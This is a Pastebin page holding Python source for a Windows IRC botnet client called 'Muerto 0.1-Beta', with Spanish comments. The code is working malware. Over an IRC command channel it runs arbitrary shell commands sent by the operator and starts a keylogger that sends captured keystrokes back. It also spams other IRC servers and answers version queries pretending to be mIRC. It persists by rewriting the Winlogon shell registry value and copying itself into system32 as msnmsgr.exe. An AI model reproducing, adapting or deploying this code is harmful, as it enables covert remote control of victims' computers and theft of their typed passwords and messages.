This week only. Pastebin PRO Accounts Christmas Special! Don't miss out!Want more features on Pastebin? Sign Up, it's FREE!
Guest

python-bot-q3rv0

By: a guest on Feb 28th, 2012  |  syntax: None  |  size: 8.56 KB  |  views: 28  |  expires: Never
download  |  raw  |  embed  |  report abuse  |  print
Text below is selected. Please press Ctrl+C to copy to your clipboard. (⌘+C on Mac)
  1. import socket,string,os.path,random,time,sys,_winreg,win32api,threading
  2.  
  3. ############clase users###############
  4. class users:
  5. def __init__(self, user):
  6. self.user = user
  7. def existe(self):
  8. if os.path.isfile('users.txt') == True:
  9. f = open('users.txt', 'r+')
  10. data = f.read()
  11. test = data.split('\n')
  12. for x in test:
  13. if x == self.user:
  14. return '1'
  15. f.close()
  16. else:
  17. return 'x'
  18. def add(self):
  19. if os.path.isfile('users.txt') == True:
  20. if users.existe(self) == '1':
  21. return '1'
  22. else:
  23. f = open('users.txt', 'a')
  24. f.write(self.user + '\n')
  25. f.close()
  26. return '2'
  27. else:
  28. f = open('users.txt', 'w')
  29. f.write(self.user + '\n')
  30. f.close()
  31. return '2'
  32. def borrar(self):
  33. if os.path.isfile('users.txt') == True:
  34. if users.existe(self) == '1':
  35. f = open('users.txt', 'r+')
  36. data = f.read()
  37. data = data.replace(self.user,'')
  38. f.close()
  39. f1 = open('users.txt', 'w')
  40. f1.write(data)
  41. f1.close()
  42. return '3'
  43. else:
  44. return 'x'
  45. else:
  46. return 'x'
  47. def listar(self):
  48. if os.path.isfile('users.txt') == True:
  49. f = open('users.txt', 'r+')
  50. data = f.read()
  51. test = data.split('\n')
  52. return test
  53. f.close()
  54. else:
  55. return 'x'
  56. #keyloger nos envia lo tecleado por el pc huesped acia el server irc
  57. class keylog(threading.Thread):
  58. def __init__(self, s, gg):
  59. threading.Thread.__init__(self)
  60. self.s = s
  61. self.gg = gg
  62. def run(self):
  63. todo = ''
  64. stop = False
  65. while not stop:
  66. for letra in range(8, 256):
  67. key = win32api.GetAsyncKeyState(letra)
  68. if key == -32767:
  69. if letra != 9 or letra != 13 or letra != 123:
  70. todo = '%s%s' % (todo, chr(letra))
  71. if letra == 13:
  72. log = open('log.txt', 'a+')
  73. log.write(todo + '\n')
  74. try:
  75. self.s.send('PRIVMSG %s 2%s\r\n' % (self.gg, todo))
  76. todo = ''
  77. except socket.error:
  78. stop = True
  79. break
  80. if letra == 8:
  81. todo=todo[0:len(todo)-2]
  82. #espamear en servidores. esto es una mierda y fue solo un test lo dejo = como idea por mejorar
  83. #pretendo hacer una seccion se atakes y tengo muchas ideas en mente DoS usando Threads proxys etc
  84. def spam(lugar, nname, chan, msg):
  85. s1 = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
  86. try:
  87. s1.connect((lugar,6667))
  88. except socket.gaierror:
  89. s1.close()
  90. else:
  91. s1.send('NICK %s\r\n' % nname)
  92. s1.send('USER pablo pablo pablo : asi aoy yo =)\r\n')
  93. s1.send('JOIN %s\r\n' % chan)
  94. s1.send('PRIVMSG %s 2%s\r\n' % (chan, msg))
  95. s1.close()
  96. ##################################################
  97. def entra():
  98. #configuracion user password
  99. root = '[Q]3rV[0]'
  100. password = '1234'
  101. #nick aleatorio NerD- + numero aleatorio entre 1000 y 9999
  102. nick = 'underterminal'
  103. #ident
  104. ide = 'test'
  105. #full name
  106. fullname = 'python-bot'
  107. #servidor y puerto de coneccion
  108. server = 'irc.freenode.net'
  109. puerto = 6667
  110. #canal en el que entra
  111. canal = '#uterminal'
  112. buffer = ''
  113. acept = '0'
  114. s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
  115. s.connect((server,puerto))
  116. s.send('NICK %s\r\n' % nick)
  117. s.send('USER %s %s %s : %s\r\n' % (ide, ide, ide, fullname))
  118. #la sigiente linea esta comentada ya que algunos servidores no dejan enviar el join altiro
  119. #asi que lo envio despues del raw 376 que es el fin del motd
  120. #s.send('JOIN %s\r\n' % canal)
  121. #seteamos el valor de timeout o tiempo maximo de espera sin movimiento en el buffer en 120 segundos
  122. s.settimeout(120)
  123. while 1:
  124. #evitamos error de timeout y socket.error
  125. try:
  126. buffer=buffer+s.recv(1024)
  127. #ante un error cierra el socket y conecta nuevamente
  128. except socket.error:
  129. s.close()
  130. entra()
  131. #ante un error cierra el socket y conecta nuevamente
  132. except socket.timeout:
  133. s.close()
  134. entra()
  135. #si no ocurre ningun error contirua
  136. else:
  137. temp=string.split(buffer, "\n")
  138. buffer=temp.pop()
  139. for line in temp:
  140. print line
  141. line_list=string.split(line)
  142. #respondemos el ping del servidor
  143. if(line_list[0]=='PING'):
  144. s.send("PONG %s\r\n" % line_list[1])
  145. #reconectar despues de un error closing link
  146. if(line_list[0]=='ERROR'):
  147. if(line_list[1]==':Closing'):
  148. if(line_list[2]=='Link:'):
  149. time.sleep(10)
  150. s.close()
  151. entra()
  152. if(line_list[1]=='376'):
  153. s.send('JOIN %s\r\n' % canal)
  154. #despues de logearte comprobar que estes identificado en el servidor irc y agregarlo al archivo users.txt
  155. if(line_list[1]=='307'):
  156. if(acept=='1'):
  157. u = users(line_list[3])
  158. u.add()
  159. s.send('PRIVMSG %s 2Login Correcto Para Solicitar Ayuda Usa 4!man\r\n' % line_list[3])
  160. acept = '0'
  161. if(line_list[1]=='PRIVMSG'):
  162. #nos logeamos con !login user pass (el nick tiene que estar identificado)
  163. if(line_list[3]==':!login'):
  164. if(line_list[4]==root):
  165. if(line_list[5]==password):
  166. acept = '1'
  167. s.send('WHOIS %s\r\n' % line_list[4])
  168. a=string.find(line, ':')
  169. b=string.find(line, '!')
  170. n1=line[a+1:b]
  171. if(line_list[3]==':VERSION'):
  172. s.send('NOTICE %s :VERSION mIRC v6.17 Khaled Mardam-Bey\r\n' % n1)
  173. f1 = users(n1)
  174. #comprobamos que el usuario exista
  175. if(f1.existe()=='1'):
  176. g1=string.find(line, ':')
  177. g2=string.find(line, '!')
  178. gg=line[g1+1:g2]
  179. ##########ejecutar comandos shell########
  180. #para que responda en canal
  181. if(line_list[2]==canal):
  182. if(line_list[3]==':!cmd'):
  183. x=string.find(line, ':!cmd')
  184. comand=line[x+6:len(line)]
  185. data=os.popen('%s' % comand).read()
  186. file=open('test.txt','w')
  187. file.write(data)
  188. file.close()
  189. file=open('test.txt','r')
  190. data=file.read()
  191. data1=data.split('\n')
  192. for x in data1:
  193. time.sleep(1)
  194. try:
  195. s.send('PRIVMSG %s : %s\r\n' % (canal, x))
  196. except socket.error:
  197. s.close()
  198. entra()
  199. #para que responda en pv2
  200. elif(line_list[3]==':!cmd'):
  201. x=string.find(line, ':!cmd')
  202. comand=line[x+6:len(line)]
  203. data=os.popen('%s' % comand).read()
  204. file=open('test.txt','w')
  205. file.write(data)
  206. file.close()
  207. file=open('test.txt','r')
  208. data=file.read()
  209. data1=data.split('\n')
  210. for x in data1:
  211. time.sleep(1)
  212. try:
  213. s.send('PRIVMSG %s : %s\r\n' % (gg, x))
  214. except socket.error:
  215. s.close()
  216. entra()
  217. ##########################################
  218. #agregar users
  219. if(line_list[3]==':!adduser'):
  220. try:
  221. xs = users(line_list[4])
  222. except IndexError:
  223. s.send('PRIVMSG %s 2Parametro obligatorio !adduser nick-usuario\r\n' % gg)
  224. else:
  225. if(xs.existe()=='1'):
  226. s.send('PRIVMSG %s 2El Usuario: 1%s2 Ya Existe\r\n' % (gg, line_list[4]))
  227. else:
  228. xs.add()
  229. s.send('PRIVMSG %s 2El Usuario: 1%s 2A Sido Ingresaro Correctamente\r\n' % (gg, line_list[4]))
  230. s.send('PRIVMSG %s 2Bienvenido a Muerto-0.1-Beta, Para solicitar Ayuda use !man\r\n' % line_list[4])
  231. #borrar user
  232. if(line_list[3]==':!deluser'):
  233. try:
  234. xs = users(line_list[4])
  235. except IndexError:
  236. s.send('PRIVMSG %s 2El Usuario Es Invalido\r\n' % gg)
  237. else:
  238. if(xs.borrar()=='x'):
  239. s.send('PRIVMSG %s 2El Usuario: 1%s2 No Existe\r\n' % (gg, line_list[4]))
  240. else:
  241. xs.borrar()
  242. s.send('PRIVMSG %s 2El Usuario: 1%s 2A Sido Eliminado Correctamente\r\n' % (gg, line_list[4]))
  243. #reiniciar bot
  244. if(line_list[3]==':!reboot'):
  245. s.close()
  246. entra()
  247. #activar keyloger
  248. if(line_list[3]==':!keyloger'):
  249. keyloger = keylog(s, gg)
  250. keyloger.start()
  251. #listar usuarios
  252. if(line_list[3]==':!userlist'):
  253. xs = users('')
  254. s.send('PRIVMSG %s 2Lista De Usuarios\r\n' % gg)
  255. for a in xs.listar():
  256. if(a!=''):
  257. s.send('PRIVMSG %s 1%s\r\n' % (gg, a))
  258. #borrar lista completa de users
  259. if(line_list[3]==':!reset'):
  260. s.send('PRIVMSG %s 2La Lista De Usuarios a Sido Reseteada\r\n' % gg)
  261. f = open('users.txt', 'w')
  262. f.close()
  263. #hacer spam en servidores
  264. if(line_list[3]==':!spam'):
  265. try:
  266. k1=line_list[4]
  267. k2=line_list[5]
  268. k3=line_list[6]
  269. k4=line_list[7]
  270. kk1=string.find(line, line_list[7])
  271. msg=line[kk1:len(line)]
  272. spam(k1, k2, k3, msg)
  273. except IndexError:
  274. s.send('PRIVMSG %s 2Parametros obligatorios: 4!spam servidor nick-del-bot #canal mensaje\r\n' % gg)
  275. ###############################
  276. #manual del bot
  277. if(line_list[3]==':!man'):
  278. s.send('PRIVMSG %s 2bienvenido A La Ayuda De: 1Muerto 0.1-Beta\r\n' % gg)
  279. time.sleep(1)
  280. s.send('PRIVMSG %s 2Agregar Usuario Ejemplo: 4!adduser juanito\r\n' % gg)
  281. s.send('PRIVMSG %s 2Eliminar Usuario Ejemplo: 4!deluser juanito\r\n' % gg)
  282. s.send('PRIVMSG %s 2Listar Usuarios: 4!userlist\r\n' % gg)
  283. s.send('PRIVMSG %s 2Resetear Usuarios: 4!reset\r\n' % gg)
  284. s.send('PRIVMSG %s 2Ejecutar Comando Ejemplo: 4!cmd dir c:\\r\n' % gg)
  285. s.send('PRIVMSG %s 2Reiniciar: 4!reboot\r\n' % gg)
  286. s.send('PRIVMSG %s 2spamear en servidores: 4!spam server nick-del-bot #canal mensaje\r\n' % gg)
  287. #crear llave de registro para iniciarnos junto a explorer.exe al iniciar secion de usuario
  288. t1=string.rfind(sys.argv[0], '\\')
  289. tt=sys.argv[0][t1+1:len(sys.argv[0])]
  290. keyp = _winreg.OpenKey( _winreg.HKEY_LOCAL_MACHINE, 'SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon', 0, _winreg.KEY_SET_VALUE)
  291. _winreg.SetValueEx (keyp, "shell", 0, _winreg.REG_SZ, "Explorer.exe, msnmsgr.exe")
  292. _winreg.CloseKey(keyp)
  293. #copiarnos al directorio system32
  294. os.popen('copy %s C:\\WINDOWS\\system32\\msnmsgr.exe' % tt)
  295. #iniciamos el ciclo
  296. entra()
clone this paste RAW Paste Data